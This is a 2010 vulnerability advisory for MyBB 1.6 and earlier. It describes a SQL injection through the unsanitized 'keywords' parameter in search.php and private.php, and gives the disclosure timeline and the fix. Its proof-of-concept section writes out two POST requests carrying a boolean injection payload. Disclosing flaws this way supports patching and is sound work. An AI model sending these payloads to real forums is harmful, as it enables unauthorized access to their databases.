MyBB 1.6 <= SQL Injection Vulnerability

=================================
MyBB 1.6 <= SQL Injection Vulnerability
================================= 
1. OVERVIEW

Potential SQL Injection vulnerability was detected in MyBB.


2. APPLICATION DESCRIPTION

MyBB is a free bulletin board system software package developed by the
MyBB Group.
It's supposed to be developed from XMB and DevBB bulletin board applications.


3. VULNERABILITY DESCRIPTION

The "keywords" parameter was not properly sanitized in /private.php
and /search.php which leads to SQL Injection vulnerability.
Full exploitation  possibility is probably mitigated by clean_keywords
and clean_keywords_ft functions in inc/functions_search.php.


4. VERSIONS AFFECTED

MyBB 1.6 and lower


5. PROOF-OF-CONCEPT/EXPLOIT

=> /search.php

POST /mybb/search.php

action=do_search&forums=2&keywords='+or+'a'+'a&postth
read=1


=> /private.php

POST /mybb/private.php

my_post_key=&keywords='+or+'a'+'a&quick_search=Search+PMs
&allbox=Check+All&fromfid=0&fid=4&jumpto=4&action=do_stuff


6. SOLUTION

Upgrade to 1.6.1


7. VENDOR

MyBB Development Team
http://www.mybb.com/


8. CREDIT
http://d4wfl1n.nyubicrew.us/2010/12/mybb-16-sql-injection-vulnerability.html
This vulnerability was discovered by D4wFl1N


9. DISCLOSURE TIME-LINE

2010-12-09: notified vendor
2010-12-15: vendor released fixed version
2010-12-25: vulnerability disclosed


10. REFERENCES

Original Advisory URL:

About MyBB: http://www.mybb.com/about/mybb

  #D4wFL1N [25-12-2010]